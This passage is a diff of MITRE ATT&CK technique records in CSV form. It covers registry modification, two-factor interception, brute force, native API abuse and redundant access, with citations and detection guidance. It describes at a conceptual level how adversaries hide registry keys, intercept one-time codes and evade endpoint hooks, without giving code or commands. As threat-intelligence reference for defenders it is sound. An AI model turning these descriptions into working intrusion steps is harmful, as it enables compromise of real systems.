Graphics.CopyFromScreen Method. Retrieved March 24, 2020.', 'url': 'https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen?view=netframework-4.8'}, {'source_name': 'Antiquated Mac Malware', 'description': 'Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.', 'url': 'https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: OS API Execution', 'Command: Command Execution']",,"Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.",False,,"['Linux', 'macOS', 'Windows']",1.1,,,,,,, +attack-pattern,attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:23.587Z,2020-08-13T20:02:49.641Z,Modify Registry,"Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution. Access to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API. Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API. (Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017) -The Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) for RPC communication.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1112', external_id='T1112'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/203.html', external_id='CAPEC-203'), ExternalReference(source_name='Microsoft Reg', description='Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015.', url='https://technet.microsoft.com/en-us/library/cc732643.aspx'), ExternalReference(source_name='Microsoft Reghide NOV 2006', description='Russinovich, M. & Sharkey, K. (2006, January 10). Reghide. Retrieved August 9, 2018.', url='https://docs.microsoft.com/sysinternals/downloads/reghide'), ExternalReference(source_name='TrendMicro POWELIKS AUG 2014', description='Santos, R. (2014, August 1). POWELIKS: Malware Hides In Windows Registry. Retrieved August 9, 2018.', url='https://blog.trendmicro.com/trendlabs-security-intelligence/poweliks-malware-hides-in-windows-registry/'), ExternalReference(source_name='SpectorOps Hiding Reg Jul 2017', description='Reitz, B. (2017, July 14). Hiding Registry keys with PSReflect. Retrieved August 9, 2018.', url='https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353'), ExternalReference(source_name='Microsoft Remote', description='Microsoft. (n.d.). Enable the Remote Registry Service. Retrieved May 1, 2015.', url='https://technet.microsoft.com/en-us/library/cc754820.aspx'), ExternalReference(source_name='Microsoft 4657 APR 2017', description='Miroshnikov, A. & Hall, J. (2017, April 18). 4657(S): A registry value was modified. Retrieved August 9, 2018.', url='https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4657'), ExternalReference(source_name='Microsoft RegDelNull July 2016', description='Russinovich, M. & Sharkey, K. (2016, July 4). RegDelNull v1.11. Retrieved August 10, 2018.', url='https://docs.microsoft.com/en-us/sysinternals/downloads/regdelnull')]",attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-08-13 20:02:49.641000+00:00,Modify Registry,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Bartosz Jerzman', 'Travis Smith, Tripwire', 'David Lu, Tripwire']","['Process: Process Creation', 'Process: OS API Execution', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'Windows Registry: Windows Registry Key Deletion']",['Host forensic analysis'],,,,"Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Consider enabling Registry Auditing on specific keys to produce an alertable event (Event ID 4657) whenever a value is changed (though this may not trigger when values are created with Reghide or other evasive methods). (Citation: Microsoft 4657 APR 2017) Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file. +The Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) for RPC communication.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1112', 'external_id': 'T1112'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/203.html', 'external_id': 'CAPEC-203'}, {'source_name': 'Microsoft Reg', 'description': 'Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015.', 'url': 'https://technet.microsoft.com/en-us/library/cc732643.aspx'}, {'source_name': 'Microsoft Reghide NOV 2006', 'description': 'Russinovich, M. & Sharkey, K. (2006, January 10). Reghide. Retrieved August 9, 2018.', 'url': 'https://docs.microsoft.com/sysinternals/downloads/reghide'}, {'source_name': 'TrendMicro POWELIKS AUG 2014', 'description': 'Santos, R. (2014, August 1). POWELIKS: Malware Hides In Windows Registry. Retrieved August 9, 2018.', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/poweliks-malware-hides-in-windows-registry/'}, {'source_name': 'SpectorOps Hiding Reg Jul 2017', 'description': 'Reitz, B. (2017, July 14). Hiding Registry keys with PSReflect. Retrieved August 9, 2018.', 'url': 'https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353'}, {'source_name': 'Microsoft Remote', 'description': 'Microsoft. (n.d.). Enable the Remote Registry Service. Retrieved May 1, 2015.', 'url': 'https://technet.microsoft.com/en-us/library/cc754820.aspx'}, {'source_name': 'Microsoft 4657 APR 2017', 'description': 'Miroshnikov, A. & Hall, J. (2017, April 18). 4657(S): A registry value was modified. Retrieved August 9, 2018.', 'url': 'https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4657'}, {'source_name': 'Microsoft RegDelNull July 2016', 'description': 'Russinovich, M. & Sharkey, K. (2016, July 4). RegDelNull v1.11. Retrieved August 10, 2018.', 'url': 'https://docs.microsoft.com/en-us/sysinternals/downloads/regdelnull'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Bartosz Jerzman', 'Travis Smith, Tripwire', 'David Lu, Tripwire']","['Process: Process Creation', 'Process: OS API Execution', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'Windows Registry: Windows Registry Key Deletion']",['Host forensic analysis'],"Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Consider enabling Registry Auditing on specific keys to produce an alertable event (Event ID 4657) whenever a value is changed (though this may not trigger when values are created with Reghide or other evasive methods). (Citation: Microsoft 4657 APR 2017) Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file. Monitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. The Registry may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), which may require additional logging features to be configured in the operating system to collect necessary information for analysis. -Monitor for processes, command-line arguments, and API calls associated with concealing Registry keys, such as Reghide. (Citation: Microsoft Reghide NOV 2006) Inspect and cleanup malicious hidden Registry entries using Native Windows API calls and/or tools such as Autoruns (Citation: SpectorOps Hiding Reg Jul 2017) and RegDelNull (Citation: Microsoft RegDelNull July 2016).",,,,,False,,,"['User', 'Administrator', 'SYSTEM']",['Windows'],,,,1.2 -2017-05-31 21:31:23.195000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may target two-factor authentication mechanisms, such as smart cards, to gain access to credentials that can be used to access systems, services, and network resources. Use of two or multi-factor authentication (2FA or MFA) is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. +Monitor for processes, command-line arguments, and API calls associated with concealing Registry keys, such as Reghide. (Citation: Microsoft Reghide NOV 2006) Inspect and cleanup malicious hidden Registry entries using Native Windows API calls and/or tools such as Autoruns (Citation: SpectorOps Hiding Reg Jul 2017) and RegDelNull (Citation: Microsoft RegDelNull July 2016).",False,"['User', 'Administrator', 'SYSTEM']",['Windows'],1.2,,,,,,, +attack-pattern,attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:23.195Z,2020-03-25T20:35:21.672Z,Two-Factor Authentication Interception,"Adversaries may target two-factor authentication mechanisms, such as smart cards, to gain access to credentials that can be used to access systems, services, and network resources. Use of two or multi-factor authentication (2FA or MFA) is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. If a smart card is used for two-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011) Adversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011) -Other methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1111', external_id='T1111'), ExternalReference(source_name='Mandiant M Trends 2011', description='Mandiant. (2011, January 27). Mandiant M-Trends 2011. Retrieved January 10, 2016.', url='https://dl.mandiant.com/EE/assets/PDF_MTrends_2011.pdf'), ExternalReference(source_name='GCN RSA June 2011', description='Jackson, William. (2011, June 7). RSA confirms its tokens used in Lockheed hack. Retrieved September 24, 2018.', url='https://gcn.com/articles/2011/06/07/rsa-confirms-tokens-used-to-hack-lockheed.aspx'), ExternalReference(source_name='Operation Emmental', description='Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding Holes Operation Emmental. Retrieved February 9, 2016.', url='http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf')]",attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2020-03-25 20:35:21.672000+00:00,Two-Factor Authentication Interception,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['John Lambert, Microsoft Threat Intelligence Center']","['Windows Registry: Windows Registry Key Modification', 'Driver: Driver Load', 'Process: OS API Execution']",,,,,"Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior. - -Similar to [Input Capture](https://attack.mitre.org/techniques/T1056), keylogging activity can take various forms but can may be detected via installation of a driver, setting a hook, or usage of particular API calls associated with polling to intercept keystrokes.",,,,,False,,,"['Administrator', 'SYSTEM']","['Linux', 'Windows', 'macOS']",,"['Smart card Proxy: Use of smart cards for single or multifactor authentication to access to network resources. Attached smart card reader with card inserted.\n\nOut-of-band one-time code: Access to the device, service, or communications to intercept the one-time code.\n\nHardware token: Access to the seed and algorithm of generating one-time codes.']",,1.1 -2017-05-31 21:31:22.767000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1110', external_id='T1110'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/49.html', external_id='CAPEC-49')]",attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2021-04-14 12:04:36.243000+00:00,Brute Force,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['David Fiser, @anu4is, Trend Micro', 'Alfredo Oliveira, Trend Micro', 'Magno Logan, @magnologan, Trend Micro', 'Yossi Weizman, Azure Defender Research Team', 'Ed Williams, Trustwave, SpiderLabs']","['User Account: User Account Authentication', 'Application Log: Application Log Content']",,,,,"Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials. Also monitor for many failed authentication attempts across various accounts that may result from password spraying attempts. It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network.",,,,,False,,,['User'],"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers']",,,,2.2 -2017-05-31 21:31:18.867000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"**This technique has been deprecated. Please use [Create Account](https://attack.mitre.org/techniques/T1136), [Web Shell](https://attack.mitre.org/techniques/T1505/003), and [External Remote Services](https://attack.mitre.org/techniques/T1133) where appropriate.** - -Adversaries may use more than one remote access tool with varying command and control protocols or credentialed access to remote services so they can maintain access if an access mechanism is detected or mitigated. - -If one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use [External Remote Services](https://attack.mitre.org/techniques/T1133) such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network.(Citation: Mandiant APT1) Adversaries may also retain access through cloud-based infrastructure and applications. - -Use of a [Web Shell](https://attack.mitre.org/techniques/T1100) is one such way to maintain access to a network through an externally accessible Web server.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1108', external_id='T1108'), ExternalReference(source_name='Mandiant APT1', description='Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.', url='https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf')]",attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2021-03-08 10:33:00.985000+00:00,Redundant Access,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Praetorian'],,"['Network intrusion detection system', 'Anti-virus']",True,,,"Existing methods of detecting remote access tools are helpful. Backup remote access tools or other access points may not have established command and control channels open during an intrusion, so the volume of data transferred may not be as high as the primary channel unless access is lost. - -Detection of tools based on beacon traffic, Command and Control protocol, or adversary infrastructure require prior threat intelligence on tools, IP addresses, and/or domains the adversary may use, along with the ability to detect use at the network boundary. Prior knowledge of indicators of compromise may also help detect adversary tools at the endpoint if tools are available to scan for those indicators. +Other methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1111', 'external_id': 'T1111'}, {'source_name': 'Mandiant M Trends 2011', 'description': 'Mandiant. (2011, January 27). Mandiant M-Trends 2011. Retrieved January 10, 2016.', 'url': 'https://dl.mandiant.com/EE/assets/PDF_MTrends_2011.pdf'}, {'source_name': 'GCN RSA June 2011', 'description': 'Jackson, William. (2011, June 7). RSA confirms its tokens used in Lockheed hack. Retrieved September 24, 2018.', 'url': 'https://gcn.com/articles/2011/06/07/rsa-confirms-tokens-used-to-hack-lockheed.aspx'}, {'source_name': 'Operation Emmental', 'description': 'Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding Holes Operation Emmental. Retrieved February 9, 2016.', 'url': 'http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['John Lambert, Microsoft Threat Intelligence Center']","['Windows Registry: Windows Registry Key Modification', 'Driver: Driver Load', 'Process: OS API Execution']",,"Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior. -If an intrusion is in progress and sufficient endpoint data or decoded command and control traffic is collected, then defenders will likely be able to detect additional tools dropped as the adversary is conducting the operation. +Similar to [Input Capture](https://attack.mitre.org/techniques/T1056), keylogging activity can take various forms but can may be detected via installation of a driver, setting a hook, or usage of particular API calls associated with polling to intercept keystrokes.",False,"['Administrator', 'SYSTEM']","['Linux', 'Windows', 'macOS']",1.1,,"['Smart card Proxy: Use of smart cards for single or multifactor authentication to access to network resources. Attached smart card reader with card inserted.\n\nOut-of-band one-time code: Access to the device, service, or communications to intercept the one-time code.\n\nHardware token: Access to the seed and algorithm of generating one-time codes.']",,,,, +attack-pattern,attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:22.767Z,2021-09-30T19:18:16.672Z,Brute Force,"Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes. -For alternative access using externally accessible VPNs or remote services, follow detection recommendations under [Valid Accounts](https://attack.mitre.org/techniques/T1078) and [External Remote Services](https://attack.mitre.org/techniques/T1133) to collect account use information.",,,,,False,,,"['User', 'Administrator', 'SYSTEM']","['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS']",,,,3.1 -2017-05-31 21:31:17.472000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations. +Brute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1110', 'external_id': 'T1110'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/49.html', 'external_id': 'CAPEC-49'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['David Fiser, @anu4is, Trend Micro', 'Alfredo Oliveira, Trend Micro', 'Magno Logan, @magnologan, Trend Micro', 'Yossi Weizman, Azure Defender Research Team', 'Ed Williams, Trustwave, SpiderLabs']","['Command: Command Execution', 'User Account: User Account Authentication', 'Application Log: Application Log Content']",,"Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials. Also monitor for many failed authentication attempts across various accounts that may result from password spraying attempts. It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network.",False,['User'],"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers']",2.3,,,,,,, +attack-pattern,attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:17.472Z,2021-10-18T21:24:30.764Z,Native API,"Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations. -Functionality provided by native APIs are often also exposed to user-mode applications via interfaces and libraries. For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC) +Native API functions (such as NtCreateProcess) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries. (Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC) Higher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation) -Adversaries may abuse these native API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces, provide mechanisms to interact with and utilize various components of a victimized system.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1106', external_id='T1106'), ExternalReference(source_name='NT API Windows', description='The NTinterlnals.net team. (n.d.). Nowak, T. Retrieved June 25, 2020.', url='https://undocumented.ntinternals.net/'), ExternalReference(source_name='Linux Kernel API', description='Linux Kernel Organization, Inc. (n.d.). The Linux Kernel API. Retrieved June 25, 2020.', url='https://www.kernel.org/doc/html/v4.12/core-api/kernel-api.html'), ExternalReference(source_name='Microsoft CreateProcess', description='Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.', url='http://msdn.microsoft.com/en-us/library/ms682425'), ExternalReference(source_name='GNU Fork', description='Free Software Foundation, Inc.. (2020, June 18). Creating a Process. Retrieved June 25, 2020.', url='https://www.gnu.org/software/libc/manual/html_node/Creating-a-Process.html'), ExternalReference(source_name='Microsoft Win32', description='Microsoft. (n.d.). Programming reference for the Win32 API. Retrieved March 15, 2020.', url='https://docs.microsoft.com/en-us/windows/win32/api/'), ExternalReference(source_name='LIBC', description='Kerrisk, M. (2016, December 12). libc(7) — Linux manual page. Retrieved June 25, 2020.', url='https://man7.org/linux/man-pages//man7/libc.7.html'), ExternalReference(source_name='GLIBC', description='glibc developer community. (2020, February 1). The GNU C Library (glibc). Retrieved June 25, 2020.', url='https://www.gnu.org/software/libc/'), ExternalReference(source_name='Microsoft NET', description='Microsoft. (n.d.). What is .NET Framework?. Retrieved March 15, 2020.', url='https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework'), ExternalReference(source_name='Apple Core Services', description='Apple. (n.d.). Core Services. Retrieved June 25, 2020.', url='https://developer.apple.com/documentation/coreservices'), ExternalReference(source_name='MACOS Cocoa', description='Apple. (2015, September 16). Cocoa Application Layer. Retrieved June 25, 2020.', url='https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/OSX_Technology_Overview/CocoaApplicationLayer/CocoaApplicationLayer.html#//apple_ref/doc/uid/TP40001067-CH274-SW1'), ExternalReference(source_name='macOS Foundation', description='Apple. (n.d.). Foundation. Retrieved July 1, 2020.', url='https://developer.apple.com/documentation/foundation')]",attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution')]",2020-07-01 16:19:54.646000+00:00,Native API,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Stefan Kanthak'],"['Process: OS API Execution', 'Module: Module Load']",,,,,"Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient. +Adversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system. While invoking API functions, adversaries may also attempt to bypass defensive tools (ex: unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1106', 'external_id': 'T1106'}, {'source_name': 'NT API Windows', 'description': 'The NTinterlnals.net team. (n.d.). Nowak, T. Retrieved June 25, 2020.', 'url': 'https://undocumented.ntinternals.net/'}, {'source_name': 'Linux Kernel API', 'description': 'Linux Kernel Organization, Inc. (n.d.). The Linux Kernel API. Retrieved June 25, 2020.', 'url': 'https://www.kernel.org/doc/html/v4.12/core-api/kernel-api.html'}, {'source_name': 'OutFlank System Calls', 'description': 'de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021.', 'url': 'https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/'}, {'source_name': 'CyberBit System Calls', 'description': 'Gavriel, H. (2018, November 27). Malware Mitigation when Direct System Calls are Used. Retrieved September 29, 2021.', 'url': 'https://www.cyberbit.com/blog/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/'}, {'source_name': 'MDSec System Calls', 'description': 'MDSec Research. (2020, December). Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. Retrieved September 29, 2021.', 'url': 'https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/'}, {'source_name': 'Microsoft CreateProcess', 'description': 'Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.', 'url': 'http://msdn.microsoft.com/en-us/library/ms682425'}, {'source_name': 'GNU Fork', 'description': 'Free Software Foundation, Inc.. (2020, June 18). Creating a Process. Retrieved June 25, 2020.', 'url': 'https://www.gnu.org/software/libc/manual/html_node/Creating-a-Process.html'}, {'source_name': 'Microsoft Win32', 'description': 'Microsoft. (n.d.). Programming reference for the Win32 API. Retrieved March 15, 2020.', 'url': 'https://docs.microsoft.com/en-us/windows/win32/api/'}, {'source_name': 'LIBC', 'description': 'Kerrisk, M. (2016, December 12). libc(7) — Linux manual page. Retrieved June 25, 2020.', 'url': 'https://man7.org/linux/man-pages//man7/libc.7.html'}, {'source_name': 'GLIBC', 'description': 'glibc developer community. (2020, February 1). The GNU C Library (glibc). Retrieved June 25, 2020.', 'url': 'https://www.gnu.org/software/libc/'}, {'source_name': 'Microsoft NET', 'description': 'Microsoft. (n.d.). What is .NET Framework?. Retrieved March 15, 2020.', 'url': 'https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework'}, {'source_name': 'Apple Core Services', 'description': 'Apple. (n.d.). Core Services. Retrieved June 25, 2020.', 'url': 'https://developer.apple.com/documentation/coreservices'}, {'source_name': 'MACOS Cocoa', 'description': 'Apple. (2015, September 16). Cocoa Application Layer. Retrieved June 25, 2020.', 'url': 'https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/OSX_Technology_Overview/CocoaApplicationLayer/CocoaApplicationLayer.html#//apple_ref/doc/uid/TP40001067-CH274-SW1'}, {'source_name': 'macOS Foundation', 'description': 'Apple. (n.d.). Foundation. Retrieved July 1, 2020.', 'url': 'https://developer.apple.com/documentation/foundation'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Gordon Long, Box, Inc., @ethicalhax', 'Stefan Kanthak']","['Process: OS API Execution', 'Module: Module Load']",,"Monitoring API calls may generate a significant amount of data and may not be useful for defense unless 